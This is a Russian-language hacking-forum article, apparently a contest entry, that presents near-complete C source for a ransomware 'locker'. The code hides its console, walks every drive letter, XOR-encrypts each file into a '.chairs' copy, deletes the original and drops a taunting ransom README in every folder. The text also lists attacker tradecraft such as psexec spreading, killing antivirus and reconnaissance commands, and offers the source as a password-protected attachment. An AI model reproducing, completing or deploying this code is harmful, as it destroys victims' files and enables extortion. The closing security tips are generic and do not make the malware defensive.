Скрытый контент для зарегистрированных пользователей.
Содержание:
1. Предисловие от автора
2. Вступление
3. Почему С
4. Исследования
5. Код
6. Как защититься
7. Послесловие
1. Предисловие от автора
«Она так держит сигарету,
Как-будто это — целый мир,
Который ей подарен Богом
И на который ей плевать.»
Как-будто это — целый мир,
Который ей подарен Богом
И на который ей плевать.»
Доброго времени суток, дорогой читатель!
Хочу поделится немного своими наработками и небольшим опытом. Да, я никогда не писал локер ранее. Больше того, я никогда серьёзно не задавался темой программирования данного софта, но у меня есть иного плана «сетевой» опыт, и, если сложить всё воедино, мы можем получить вполне приятный и интересный результат в виде исследований.
Данная статья — не посыл к действию, а скорее попытка изучить материал через практическую работу.
2. Вступление
Последние мировые тенденции приводят к тому, что люди тратят большую часть своей жизни, как профессиональной, так и личной, в сети Интернет. Однако мало кто из них, реально мало, осознает, что кибер-пространство — это новый и более изощренный плацдарм для всякого рода кибер-угроз.
Если изучить предысторию локеров, то станет понятно, что это новое семейство программ-вымогателей (ransomware), чья бизнес-модель (да, вредоносные программы – это бизнес для кого-то!) основана на вымогательстве денег у пользователей. Недаром этот вид деятельности классифицируется и расценивается как «терроризм». И об этом стоит всегда помнить, чем бы вы не планировали заниматься.
3. Почему С
C — один из старейших языков, который не может быть заменен каким-либо другим языком, поскольку он является своего рода “ядром” многих операционных систем. Первоначально С был разработан Д. М. Ричи для операционной системы UNIX в Bell Labs, а реализован впервые на компьютере DEC PDP-11 в 1972 году.
Перед перечислением преимуществ сразу скажу, что для нас самым важным является его скорость работы и довольно маленький размер exe после компилирования.
Преимущества языка Си:
- Как язык среднего уровня, C сочетает в себе функции языков высокого и низкого уровня. Он может использоваться для низкоуровневого программирования, такого как сценарии для драйверов и ядер, а также поддерживает функции языков программирования высокого уровня, таких как сценарии для программных приложений и т.д.
- C — это язык структурированного программирования, который позволяет разбить сложную программу на более простые программы, называемые функциями. Это также позволяет свободное перемещение данных через эти функции.
- Различные функции C, включая прямой доступ к аппаратным API на уровне машины, наличие компиляторов C, детерминированное использование ресурсов и динамическое распределение памяти, делают язык C оптимальным выбором для приложений сценариев и драйверов встроенных систем.
- Язык C чувствителен к регистру, что означает, что строчные и прописные буквы обрабатываются по-разному.
- C обладает высокой переносимостью и используется для создания сценариев системных приложений, которые составляют основную часть операционной системы Windows, UNIX и Linux.
- C — это язык программирования общего назначения, который может эффективно работать с корпоративными приложениями, играми, графикой и приложениями, требующими вычислений и т.д.
- Язык Си имеет богатую библиотеку, которая предоставляет ряд встроенных функций. Он также предлагает динамическое распределение памяти.
- C быстро реализует алгоритмы и структуры данных, ускоряя вычисления в программах. Это позволило использовать C в приложениях, требующих более высоких степеней вычислений, таких как MATLAB и Mathematica.
4. Исследования
Для начала немного предыстории.
Внимательно изучив поведение различных криптолокеров и другой рансомвари, можно заметить вполне не меняющуюся тенденцию использовать стандартные средства операционной системы и среды. Из многих возможностей, можно выделить несколько крайне важных моментов.
Для таргетированного лока нам важно:
1) определять dns suffix через команду «ipconfig /all»
2) для распространения по сети использовать psexec
3) список процессов - определять антивирусные решения, сравнивать по списку и глушить (либо делать uninstall – жестко, но эффективно, нам же всё равно, главное — результат шифрования)
Попадая в систему, некоторые локеры используют следующие шаги в командной строке:
Код:
whoami
net user
net group
И вот такую схему (на примере WastedLocker):
Почитать автора статьи можно здесь.
5. Код
« – Пилите, Шура, пилите. Они золотые!» © х\ф «Золотой телёнок»
Цитировать эту фразу без привязки к контексту трудно. Так и возникло золото. Но я всегда знал, что никакого "золота" там никогда не было.
Итак.
XssBot у нас уже есть (если что — это шутка, автор не претендует на чужие разработки). Пилим локер.
Настало время евГениального кода, он также не претендует на место лучшего и сделан, скорее, для ознакомления, ибо описывать создание боевого локера чревато последствиями.
Простейшая схема работы:
Начнем с объявления переменных, структур и функций:
C:
#include "Windows.h"
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <dirent.h>
#include <sys/types.h>
#define AND &
#define XOR ^
#define NOT !
int i = 0;
FILE *buffer;
FILE *ciphered;
FILE *readme;
float sharedkey[10] = {0.65,100,0.365,0,25.9,999,5,12.58,7.0214,103.126};
float precalculated;
struct data_chars {
char current_char;
char ciphered_char;
char pre_ciphered_char;
} data;
struct cipher_attrib {
int password;
char file[500];
char c_file[500];
char readmsg[500];
} c_attrib;
void lineCounter(char *fileName);
void recursiveSearch(char *basePath, const int root);
int ch, number_of_lines = 0;
int main(void)
{
// Прячем консоль при запуске
HWND hWin = GetForegroundWindow();
ShowWindow(hWin, SW_HIDE);
DIR *dirp;
struct dirent *direntp;
c_attrib.password = 900;
Функция рекурсивного поиска директорий:
C:
void recursiveSearch(char *basePath, const int root)
{
char dirlist[2048];
struct dirent *dp;
DIR *dir = opendir(basePath);
FILE *paths;
if (!dir)
return;
// Если dir является директорией запустится цикл while
while ((dp = readdir(dir)) != NULL)
{
if (strcmp(dp->d_name, ".") != 0 && strcmp(dp->d_name, "..") != 0)
{
// Копируем basePath и // в dirlist
strcpy(dirlist, basePath);
strcat(dirlist, "//");
strcat(dirlist, dp->d_name);
// Если dirlist является директорией записываем путь в текстовый файл
DIR *directory = opendir(dirlist);
if (directory != NULL){
// Открываем файл
paths = fopen("C://Windows//Temp//filenames.txt", "a");
// Записываем dirlist в файл
fprintf(paths, "%s\n", dirlist);
// Закрываем файл
fclose(paths);
}
recursiveSearch(dirlist, root + 2);
}
}
closedir(dir);
}
В функции main создадим массив с путями к дискам и запустим recursiveSearch в цикле for:
C:
char dirlist[104][128] = {"A://", "B://", "C://", "D://", "E://", "F://", "G://", "H://", "I://", "J://", "K://", "L://", "M://", "N://", "O://", "P://", "Q://", "R://", "S://", "T://", "U://", "V://", "W://", "X://", "Y://", "Z://"};
int zero;
for(zero = 0; zero <= 104; zero++ ){
recursiveSearch(dirlist[zero], 0);
}
Рекурсивный поиск директорий
Чтобы создать массив нам нужно знать точное к-во элементов, для этого создадим функцию lineCounter которая “прочитает” все строки и запишет их количество в переменную:
C:
void lineCounter(char *fileName){
FILE* myfile = fopen(fileName, "r");
do{
ch = fgetc(myfile);
if(ch == '\n')
number_of_lines++;
}
while (ch != EOF);
if(ch != '\n' && number_of_lines != 0)
number_of_lines++;
fclose(myfile);
}
В main вызываем функцию lineCounter и после нее записываем построчно пути к папкам в массив:
C:
char *fileName = "filenames.txt";
lineCounter(fileName);
char pathtofiles[number_of_lines][2048];
FILE *fp = fopen(fileName, "r");
char chunk[128];
int oo = 0;
// Построчно считываем пути и записываем их в массив
while(fgets(chunk, sizeof(chunk), fp) != NULL) {
// Перевод каретки мы убираем, иначе у нас не выйдет “ходить” по директориям
strtok(chunk, "\n");
strcpy(pathtofiles[oo], chunk);
oo=oo+1;
}
// Закрываем и удаляем файл
fclose(fp);
remove(fileName);
Теперь самое интересное, локер:
C:
int a = 0;
// Пока а меньше или равно к-ву строк(элементов в массиве) цикл будет работать
while(a <= number_of_lines){
char* path = pathtofiles[a];
a=a+1;
dirp = opendir(path);
while ((direntp = readdir(dirp)) != NULL)
{
strcpy(c_attrib.file, path);
strcat(c_attrib.file, "/");
strcat(c_attrib.file, direntp -> d_name);
strcpy(c_attrib.c_file, path);
strcat(c_attrib.c_file, "/");
if((strcmp(direntp -> d_name, ".") != 0) && (strcmp(direntp -> d_name, "..") != 0))
{
buffer = fopen(c_attrib.file, "r"); // Открыаем найденный файл
if(buffer == NULL)
{
continue;
}
strcat(c_attrib.c_file, direntp -> d_name);
strcat(c_attrib.c_file, ".chairs"); // Добавляем расширение к имени существующего файла
ciphered = fopen(c_attrib.c_file, "w+"); // Создаем зашифрованный файл
if(ciphered == NULL)
{
exit(EXIT_FAILURE);
}
while(!(feof(buffer)))
{
data.current_char = fgetc(buffer);
data.pre_ciphered_char = (char)((int)data.current_char XOR c_attrib.password);
for(i = 0;i <= 10;i++)
precalculated = (sharedkey[i] * c_attrib.password);
data.ciphered_char = (char)((int)data.pre_ciphered_char XOR (int)precalculated);
fputc(data.ciphered_char,ciphered);
}
fclose(buffer);
fclose(ciphered);
strcpy(c_attrib.file, path);
strcat(c_attrib.file, "/");
strcat(c_attrib.file, direntp -> d_name);
remove(c_attrib.file);
}
}
// В каждой папке создаем файл README.txt и записываем в него текст
strcat(c_attrib.readmsg, path);
strcat(c_attrib.readmsg, "/");
strcat(c_attrib.readmsg, "README.txt");
readme = fopen(c_attrib.readmsg,"w+");
fprintf(readme,
"\t--------------------------------------------------------------------- \n"
"\t Вы думаете что я вас не переиграю? Что я не зашифрую ваши файлы? \n"
"\t Я их зашифрую.\n"
"\t https://www.youtube.com/watch?v=rtizjDbvIRU \n"
"\t--------------------------------------------------------------------- \n\n"
"\tМаэстро\n");
// Закрываем README.txt
fclose(readme);
}
return 0;
}
«Утром — деньги, вечером — стулья.» © роман «Двенадцать стульев» советских писателей Ильфа и Петрова.
После запуска локера все файлы превратятся в нечто подобное:
И:
6. Как защититься
А как же защититься от такого типа угроз?
Я вас разочарую: никак. Сложно изменить мировоззрение людей в один клик. Я могу дать лишь несколько советов, однако читатель должен осознавать, что каждый из нас в какой-то определенный момент времени делает свой выбор и повлиять на него могут лишь косвенные обстоятельства, происходящие именно в тот конкретный момент времени.
Я не хочу далеко вдаваться в подробности как следует защищать периметр корпоративных сетей, для этого существует множество описанных ранее методов и схем, но хочу отметить следующее.
Тренд развития мобильных устройств заставляет побеспокоится и о том, где и что вы используете, насколько сохранны ваши данные в сети, если к ней подключаются сторонние устройства посредством Wi-Fi и обычного кабеля (даже простая подзарядка). Вспомним нашумевший и уже широкоизвестный O.MG cable.
Мобильные устройства присутствуют уже фактически в любой сфере.
Несколько важных шагов:
- Включение PIN-кода либо Биометрического сканера (fingerprint) на мобильном устройстве.
6-ти значный ПИН-код — это 1,000,000 возможных комбинаций против 10,000 с 4-х значным ПИН-кодом. Буквенно-цифровой пароль также способен усилить защиту. - Также советую использовать полное шифрование диска мобильного устройства. Мне доселе неизвестны ситуации с полной дешифровкой устройств, например, Samsung Note. Потребители иногда путают наличие PIN-кода или пароля на своем телефоне и шифрование телефона – они отличаются. Неавторизованный пользователь может получить доступ к информации, хранящейся на незашифрованном телефоне, подключив телефон к компьютеру со специализированным программным обеспечением, не зная PIN-кода или пароля и установив блокировку экрана ПИН-кода. Шифрование телефона и использование надежного пароля предотвращает этот тип атаки.
- Будьте осторожны при использовании мобильного устройства в общественных точках доступа Wi-Fi. Следует помнить, что общедоступный Wi-Fi по своей сути небезопасен. Помните, что злоумышленнику легко создать беспроводную сеть с точно таким же именем, что затруднит проверку подлинности.
- Используйте VPN для защиты данных. Если получить доступ к вашему мобильному устройству, несложно фиксировать IP-адреса, с которых бот на устройстве будет отстукивать на C&C сервер взломщика. Сверив полученный адрес по базе IP2location или MaxMind (и другим подобным, у некоторых хакеров есть целые списки, собранные вручную адреса точек выхода корпоративного сегмента локальных сетей в Интернет) можно вполне определить, подключалось ли это устройство к корпоративной сети и в какой момент времени. И если ответ утвердительный, можно смело следить за перемещением устройства и запустить удаленное управление в момент пребывания в сети корпорации (компании) на устройстве, либо выполнить загрузку дополнительных модулей, чтобы попасть внутрь Интранета, «перепрыгнуть» на локальный компьютер и начать распространение уже вручную дальше по сети с закреплением.
- Держите ваше программное обеспечение в актуальном состоянии. Постоянно обновляйте программы и прошивку телефона.
7. Послесловие
Ни в коем случае автор данной статьи не претендует на чье-либо место, программный продукт или юмор в конкурсе. Так уж совпало, что статья была написана достаточно быстро (сутки).
Я очень надеюсь, что на следующий конкурс у меня появится и желание, и время доработать код и написать новую статью, внеся готовые уже модули, но которые ещё не были использованы в этой статье, такие как сканер Mac/IP компьютеров в локальной сети, реверс шелл, сканер портов и несколько других фич.
В данной статье не было упомянуто, что тенденции общей лени изживают адекватный подход, развивая новую весьма бизнес-модель как Ransomware-as-a-Service (RaaS). Автор статьи предпочитает самостоятельный подход к любому делу, в особенности темам с террористическим уклоном. Нужно не забывать, что рано или поздно придут за всеми, и осознавать разницу: иногда лучше вовремя «остановиться», чем вовремя «заехать»
Часть кода шифрования была взята отсюда.
Ваши стулья, сэр (смотреть «Вложения»):
Пароль: xss.pro